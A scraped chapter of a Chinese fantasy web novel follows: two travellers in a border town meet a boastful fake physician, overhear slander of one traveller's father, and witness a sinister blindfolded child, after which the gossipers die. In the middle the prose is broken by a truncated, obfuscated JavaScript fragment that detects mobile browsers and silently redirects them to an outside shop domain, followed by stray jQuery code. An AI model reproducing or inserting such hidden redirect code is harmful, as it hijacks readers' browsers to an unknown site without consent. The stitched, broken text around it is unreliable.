两人行了数日,穿过青云域连绵竹海,终于到了两域边界。
青云域独有的青竹灵气消散,取而代之的是百易域混杂着市井烟火与浅淡杀伐的气息。
玄柯停下脚步:“出界了。”
祁灵念这才敢把脑袋探出来透透气,前几天她始终罩着件大斗篷,缩头缩脑地跟在玄柯身后。
此时天色大亮,两域边疆虽不比域内,倒也十分繁华。长街两侧摊铺挤挤挨挨,吆喝声此起彼伏,热闹至极。
祁灵念难得放开拘束,一路从头吃到尾,糖葫芦、烤串、糯米酥糕样样不落,连旁人不敢轻易碰的炸虫小吃也尝得津津有味。
沿街店家见她模样纯净可爱,纷纷主动递上点心,她也来者不拒,吃不完便一股脑塞给身侧的玄柯。
没片刻功夫,玄柯双手便堆满各式吃食,二人寻了酒楼落座。
玄柯什么菜也没叫,只要了一壶酒,坐在对面,一杯接着一杯地喝。
他看着眼前这个狼吞虎咽的少女,看得有些出神,想来她常年被困镇宝阁,日日守着冰冷古籍珍宝,从未踏足市井,这些寻常小吃,于她而言都是难得稀罕之物。
[左边脸上都沾糖渣了,看着傻乎乎的,倒也可爱。]
祁灵念正啃着桂花酥,听见这句心声,下意识抬起手背,胡乱蹭了蹭自己的左脸颊,扬起一副明媚的笑容:“这一路上买吃食全都是你付银钱,实在让你破费咯。”
玄柯道:“无妨。”
嘴上这么说,他顺手摸了一把腰间的钱袋,轻轻一掂,脸便有些黑。
这次出来本就只带了够自个儿用的盘缠,哪料到碰上这么个花钱如流水的祖宗。这下好了,眼瞧着是要不够了。
真要说起来,他倒也不是没有来钱的法子。接两桩杀人的活计便有了。但是任务之外,他实在不愿意伤及无辜。
祁灵念听着,笑吟吟道:“等我帮你解开《九域奇珍志》的封印,往后路上所有吃食都由我来想办法。如何?”
玄柯抬眸看了她片刻,嘴上什么也没说,只端起酒杯抿了一口酒。心里却道:
[说的跟真的似的。]
祁灵念愤愤地瞪了他一眼。她是认真的!她早就幻想过无数次,逃出去以后用自己通灵的本事给人驱邪赚钱,这可是正经生意!
可转念一想,装神弄鬼这事说出去确实不太体面,她张了张嘴又闭上了,叹了口气,索性扯了个话头:
“你们百易域可真热闹,不像我们那,终日里冷冷清清的。”
玄柯闻言淡淡应了一声,心底却并不认同她这番说辞。青云域可不算冷清,大抵是她没怎么见过市井。
祁灵念随口又道:“我听小贩们说,这快到月神祭典了,所以这几天格外热闹。”
听到这句话,玄柯神色却突然有些不自在,似乎有什么要说,又不知道要怎么开口。
祁灵念见他神情正觉奇怪,身后忽然飘来一个慢悠悠的声音:
“姑娘可是想去月神祭典?不如跟着我走,保管你玩得舒心痛快!”
祁灵念闻声回头,只见一名身形干瘦的中年男人摇头晃脑地凑到二人桌边。
这老鬼头在一旁观察很久了,听他二人说话,便知道他们两个并不算熟悉。又见这姑娘生得水灵灵的,不知是哪家偷跑出来的大小姐,身边那男人又冷淡沉郁,对她爱答不理的,顿时生了歪心思。
祁灵念一双清澈透亮的大眼睛直直盯住男人,盯得那男人心里竟有些发毛。却听见小姑娘笑嘻嘻地开口了:
“我又不认得你,干嘛要跟你走?你再把我拐卖了,我可到哪里哭去。”
玄柯原本正沉着脸在一旁观望。他方才还在担心祁灵念不谙世事,心想自己若是把她撂下,她叫人骗去了可就糟了。听她这么一说,暗暗松了口气。
中年男人唰地一声将折扇合拢,挺胸抬头:“我乃是江湖鼎鼎有名的八邪圣手,鬼医沈叶弦!名号响彻整片九域,你这小姑娘竟然不识我的名头?”
听到这句话,玄柯一双眼突然亮了。祁灵念回头望去,只见这人水汪汪的眸子里,此刻居然当真带着点笑意。这些天来,她都没见他有过什么笑模样,几乎要以为他是个面瘫了。
那男人不满:“你笑什么啊?”
“我劝你,冒充谁也别冒他的名号。”玄柯仰头饮尽杯中酒,又给自己斟上一杯,“除非你活腻了。”
那人被他这么一刺,登时脸上挂不住,瞪着眼道:“臭小子休要在此胡言乱语,当心我当场下毒取你性命!”
祁灵念也早听闻过沈叶弦的种种传闻,此人医术通玄,行事却邪诡莫测,救与不救,全凭心情。更叫人忌惮的是他那一手毒术,生杀予夺,只在一念之间。
当年青云域曾有两名丹青笔宗弟子偶然与他结下仇怨,最终一人身中奇毒身亡,另一人却被他随手救下,两种截然不同的结局,曾在青云域掀起不小风波。
二人懒得同这个骗子纠缠,玄柯见祁灵念桌上点心已经尽数吃完便起身打算带着她动身离开酒楼。
那中年男人见二人要走,为了撑住自己虚假的场面,故意拔高音量高声吹嘘:
“别说收拾你这毛头小子,就算是当年祸乱九域、生灵涂炭的玄冥,我也能轻易将他斩杀,不过是当年懒得出手罢了!”
他这一提玄冥,酒楼里登时炸了锅,窸窸窣窣说开了话。本来大家只是看乐子,一听到这个话题,瞬间都来了精神。
有人嗤笑:
“可别吹啦!那人当年威风得很,凭你也杀得了?”
有人冷哼:
“威风什么,末了还不是被收拾了!也是活该,尊主不好好当,偏要去碰什么邪祟,祸害苍生!”
众人纷纷开口谈论玄冥当年犯下的祸事,句句鄙夷嘲讽,言语之间满是唾弃,顺带提及玄冥当年还留下一个子嗣,一口一个“孽种”,断定那孩子必定也是心性阴邪、作恶多端之辈。
满座宾客肆意谈笑,全然不知眼前身着黑衣、沉默伫立的少年玄柯,正是他们口中人人鄙夷的玄冥之子。
只听“铮”的一声清响,长剑出鞘半寸,桌上盛放烈酒的瓷壶轰然碎裂,酒水顺着桌沿淌落一地。
酒楼内所有宾客瞬间噤声,厅堂安静了片刻。
就在这时,一个小孩尖细的嗓音从角落里慢悠悠飘了出来。那声音不大,却极其让人不舒服:
“嘴上没把门,早晚栽跟头。”
众人齐刷刷住了口,回头望去。只见暗处角落里,远远坐着一个小男孩,头上压着个尺寸大得极不合衬的斗笠,将整张脸笼在阴影里。
待他微微扬起脸来,才叫人看清。这孩子肤色泛着淡淡青绿,一道狰狞长疤自左耳根斜划至右眼角,眼上蒙着一条白布,瞧着像个瞎子。
他正阴森森地咧着嘴笑,一只手托腮,一手托着腮,另一只手从桌上那盘牛肉里慢条斯理地拈起一片,去喂地上一条摇头摆尾的大黑狗。
见对方不过是个小孩,旁边一个汉子登时没了忌惮,呛啷一声拔出剑来,剑尖直直指在那小孩额头:“去去去,不想死就滚远点儿,少在这说晦气话!”
那小孩浑然不惧,直视着他,笑嘻嘻地重复着:
“乱说话,可是会死的。”
那汉子嗤笑一声,剑尖一挑,便将小孩眼上的白布挑落了一角。
白布滑下,露出一只眼来。
汉子不知瞧见了什么,猛地往后一蹿,大叫一声,剑哐当掉在地上。他也不去拾,跌跌撞撞转身就往外冲。
周围几人正觉奇怪,也顺着往那小孩脸上望了一眼,接着什么话也不敢再说,各自仓皇逃了开去。
酒楼里登时一片死寂。余下众人觉出不对劲,三三两两,散了。
玄柯眼底杀意收敛几分,拉着祁灵念快步离开这间酒楼,不再多做停留。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727750|208887||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>而那小男孩不紧不慢地重新理好眼上的白布,向着玄柯所在的方向,诡异的牵动了下嘴角。
——
下午消息便沿着街坊传开了。酒楼里那些聚在一块说闲话的,一个接着一个都死了,并且死相极其惨烈,没有一个是好死!
这些人,倒没有一个是玄柯杀的。
两人赶了一天的路,途中听了这消息,也觉得奇怪。傍晚寻了家旅店歇下,小二见一对年轻男女进门,一个冷着脸、一个笑嘻嘻,反差极大,举止又不算太亲密,不像兄妹,又不像情侣,心里本有几分好奇。
奈何白天那几桩离奇凶案传得人心惶惶,再瞥见那黑衣少年一身掩不住的煞气,他也不敢多问,送了热水便再没敢往这屋里凑。
门一关,祁灵念就被提溜到了《九域奇珍志》跟前。她一缩脖子,回身好脾气地笑着。
玄柯微微眯起眼,抱起双臂,也学着她的样子扯了扯嘴角:
“神女大人,该履行诺言了。”
其实玄柯本也没指望她帮忙,他自然有法子打开这书。可她这一路该吃的吃了,该玩的玩了,若是一点活也不干,可就有些说不过去了。
祁灵念暗暗叹了口气。她本想能拖则拖,怕书一打开,他就真把自己撂下了。
难得有个同龄人作伴,就算是个闷葫芦,也总比她一个人有意思。
她堆起笑脸:
“好说,好说,我肯定不会抵赖嘛。”
她睁大眼睛,想从玄柯脸上找出哪怕一丝不舍的意思。
可惜,一点也没有。就连他的心声也冷冰冰的,只在盘算接下来的任务。
祁灵念暗暗叹了口气,伸手抚上那本《九域奇珍志》。指尖触上封面的刹那,书面泛起一层极淡的光华,如水波般一荡,随即悄然隐没。厚重的书页无风自动,缓缓摊开,露出密密麻麻的墨迹来。
玄柯走上前去便要翻阅,祁灵念往他身边一凑,歪着头问:
“你要找什么?我帮你一起。”
她身子离得很近,近到玄柯觉得自己一弯腰就能将她抱个满怀。他不动声色道:“敛魂镜。”
他本来不该告诉她的,但和这姑娘行了一路,多少有了几分熟悉,此时鬼使神差就说了出来。
祁灵念点点头,做出一副头一回听说的模样。其实她听了他一路心声,早就知道他要找什么了。她虽不清楚敛魂镜究竟是何物,但光听名字,也知道肯定不是什么吉祥东西。
两人凑在一块儿仔细翻找,终于寻到了记载“敛魂镜”的那一页。上面赫然写着———所在地:百易深渊。
这深渊是百易域主峰旁一道裂开的邪祟之地。当年白执衡将玄冥诛杀后,便将其尸骨连同那邪祟一同封印在了深渊之下。如今那里已是各类邪鬼的聚集之所,凶险异常。
二十年来,没人敢靠近半步,毕竟谁也不想平白当鬼煞邪祟的食物,搞不好,和玄冥一样魂飞魄散!
玄柯不由冷笑。果不其然,白执衡要他做的,定然不是什么好差事。
敛魂镜本来就是聚邪的,在深渊底下又吸了不少怨气鬼气,白执衡此时要这个干什么?他不知道,也不打算问。向来是主上叫他做什么,他便只能做什么,哪里有讨价还价的余地。
两人用手比着一行行往下看去,才看了两行,祁灵念忍不住往后一翻。这取用之法,居然密密麻麻写了足足两大张!
她暗自叫苦,玄柯倒没什么反应,木然地将书页又翻了回来。
就在此时,窗外传来了轻轻一声扣响。
两人顿时停了手上动作抬起头来只听得咚咚咚三声,不知是什么东西,在敲窗。
紧接着,一个尖细小男孩的声音顺着窗缝挤进来,带着几分沙哑:
“好妹妹,放我进来,好不好?”
祁灵念和玄柯对视了一眼,不约而同的拔出兵刃。
他们住的可是二楼,窗外怎会有人!